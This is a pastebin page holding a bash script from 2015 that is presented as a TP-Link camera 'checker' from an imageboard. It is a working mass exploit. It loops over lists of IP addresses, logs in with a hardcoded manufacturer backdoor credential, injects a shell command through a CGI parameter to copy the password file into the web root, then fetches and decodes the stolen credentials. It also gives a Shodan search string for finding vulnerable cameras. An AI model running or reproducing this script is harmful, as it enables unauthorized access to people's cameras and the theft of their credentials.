SHARE
TWEET

TP-Link Cam Checker - 8ch.net/ipcam/

a guest Sep 19th, 2015 151 Never
  1. #!/bin/bash
  2. #
  3. # By evil @ 8ch.net/ipcam/
  4. #
  5. # This is a proof of concept and is not intended to be used
  6. # to gain unauthorized access to IP camera systems. Otherwise,
  7. # do whatever the fuck you want with it.
  8.  
  9. # Create a file called whatever-in.txt with your IP list.
  10.  
  11. # Run as ./tplink.sh yourfile
  12. # Example $./tplink.sh argentina
  13. # Where your file with the list of IPs is called argentina-in.txt
  14.  
  15. # SHODAN DORK "Server: Boa/0.94.14rc21" camera
  16.  
  17. # turn your outfile into nice strings for HTML
  18. # cat outfile.txt | sed -n "s#\(.*\) | \(.*\)#http://\2@\1/jpg/image.jpg#p" >> tplinkSnapshot.txt
  19.  
  20. IPS="$(< $1-in.txt)"
  21. for IP in $IPS; do
  22.         TRY1="$(curl -u manufacture:erutcafunam -sL --connect-timeout 10 -m 45 -w "%{http_code}" "$IP/cgi-bin/mft/wireless_mft?ap=123;cp%20/var/www/secret.passwd%20/web/html/c" -o /dev/null)"
  23.         if [ "$TRY1" -eq 200 ]
  24.                 then
  25.                 #this should go to /dev/null but whatever, it shows progress
  26.                 UP="$(curl "$IP/c" | head -n1 | awk '{print $NF}' | base64 -d)"
  27.                 echo "$IP | $UP" >> "$1-out.txt"
  28.         fi
  29. done
RAW Paste Data
Top